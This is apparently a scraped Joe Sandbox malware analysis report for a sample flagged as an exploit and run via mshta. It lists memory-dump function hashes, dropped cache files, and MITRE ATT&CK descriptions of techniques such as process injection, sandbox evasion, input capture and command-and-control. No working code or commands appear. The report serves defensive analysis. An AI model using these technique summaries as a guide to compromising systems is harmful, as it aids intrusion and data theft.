Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 030F0C89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1170135368.00000000030F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_30f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c1291e15bdf872364777553de32ee8c8614c9708f500d095c39e14e7f8f92de
Instruction ID: 14886c4c80f8d3a80c248dd874b654bce8759f85b7880923d12c7265329df8b3
Opcode Fuzzy Hash: 6c1291e15bdf872364777553de32ee8c8614c9708f500d095c39e14e7f8f92de
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 030F08C9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1170135368.00000000030F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_30f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c1291e15bdf872364777553de32ee8c8614c9708f500d095c39e14e7f8f92de
Instruction ID: 14886c4c80f8d3a80c248dd874b654bce8759f85b7880923d12c7265329df8b3
Opcode Fuzzy Hash: 6c1291e15bdf872364777553de32ee8c8614c9708f500d095c39e14e7f8f92de
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 030F08E1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1170135368.00000000030F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_30f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c1291e15bdf872364777553de32ee8c8614c9708f500d095c39e14e7f8f92de
Instruction ID: 14886c4c80f8d3a80c248dd874b654bce8759f85b7880923d12c7265329df8b3
Opcode Fuzzy Hash: 6c1291e15bdf872364777553de32ee8c8614c9708f500d095c39e14e7f8f92de
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 090A0F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.978267033.00000000090A0000.00000010.00000800.00020000.00000000.sdmp, Offset: 090A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_90a0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c84d4f47a0a1eb2755daa284573bcb9c99147f48edbeb189dee0e328c4e70d51
Instruction ID: 87ebec29cae439ae80e8e16b0f6cfeb04ca16608c0ed88587282d5068bb9badc
Opcode Fuzzy Hash: c84d4f47a0a1eb2755daa284573bcb9c99147f48edbeb189dee0e328c4e70d51
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 090A0FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.978267033.00000000090A0000.00000010.00000800.00020000.00000000.sdmp, Offset: 090A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_90a0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c84d4f47a0a1eb2755daa284573bcb9c99147f48edbeb189dee0e328c4e70d51
Instruction ID: 87ebec29cae439ae80e8e16b0f6cfeb04ca16608c0ed88587282d5068bb9badc
Opcode Fuzzy Hash: c84d4f47a0a1eb2755daa284573bcb9c99147f48edbeb189dee0e328c4e70d51
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 09200F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.991375452.0000000009200000.00000010.00000800.00020000.00000000.sdmp, Offset: 09200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_9200000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c84d4f47a0a1eb2755daa284573bcb9c99147f48edbeb189dee0e328c4e70d51
Instruction ID: 5803a4a73f15898c91c51de534dff279b72102c5a34a41bb10d4daa39b6e1e3c
Opcode Fuzzy Hash: c84d4f47a0a1eb2755daa284573bcb9c99147f48edbeb189dee0e328c4e70d51
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03890F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.1089530226.0000000003890000.00000010.00000800.00020000.00000000.sdmp, Offset: 03890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_3890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c84d4f47a0a1eb2755daa284573bcb9c99147f48edbeb189dee0e328c4e70d51
Instruction ID: 3a4676a30224bba26f23f67cb5a59a2ed1e185cbb5405261f3b2ce03425e1561
Opcode Fuzzy Hash: c84d4f47a0a1eb2755daa284573bcb9c99147f48edbeb189dee0e328c4e70d51
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0A9E0F99 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.1065177821.000000000A9E0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_a9e0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction ID: ab2a85e3ac659f1b8f1b48423f8189ce262737e159b6c3da546e661c4f8e4fa5
Opcode Fuzzy Hash: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0A9E0F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.1065177821.000000000A9E0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_a9e0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction ID: ab2a85e3ac659f1b8f1b48423f8189ce262737e159b6c3da546e661c4f8e4fa5
Opcode Fuzzy Hash: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0A9E0FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000003.1065177821.000000000A9E0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_3_a9e0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction ID: ab2a85e3ac659f1b8f1b48423f8189ce262737e159b6c3da546e661c4f8e4fa5
Opcode Fuzzy Hash: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net . Adversaries may also use local host files (ex: `C:\Windows\System32\Drivers\etc\hosts` or `/etc/hosts` ) in order to discover the hostname to IP address mappings of remote systems.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Exploit.Siggen3.17149.4489.28684

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\MP98E46N\facextrade.com[1].xml

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6u8w4BMUTPHh30AXC-u[1].eot

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6u9w4BMUTPHh50XSwiPHQ[1].eot

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6u9w4BMUTPHh6UVSwiPHQ[1].eot

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6u9w4BMUTPHh7USSwiPHQ[1].eot

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6uyw4BMUTPHjx4wWg[1].eot

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\camera.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\cherry-plugin[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\css[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\css[2].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\css[3].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\css[4].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\custom-script[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\device.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\error[1]

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\gtranslate-style24[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\jquery.zaccordion.min[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\logo-slider-wp-public[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\responsive[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\style[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\theme[1].css

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.4489.28684

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre